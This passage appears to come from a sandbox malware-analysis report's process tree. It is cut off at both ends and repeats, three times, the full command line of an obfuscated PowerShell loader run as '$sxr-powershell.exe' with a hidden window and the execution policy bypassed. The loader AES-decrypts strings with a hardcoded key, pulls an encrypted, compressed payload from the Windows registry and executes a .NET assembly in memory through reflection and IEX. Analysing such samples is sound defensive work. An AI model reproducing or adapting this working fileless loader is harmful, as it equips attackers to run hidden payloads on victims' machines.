[System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Executes dropped EXE
        
        PID:5864
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Hide Artifacts: Hidden Window
        
        PID:6524
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Hide Artifacts: Hidden Window
        
        PID:6756
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 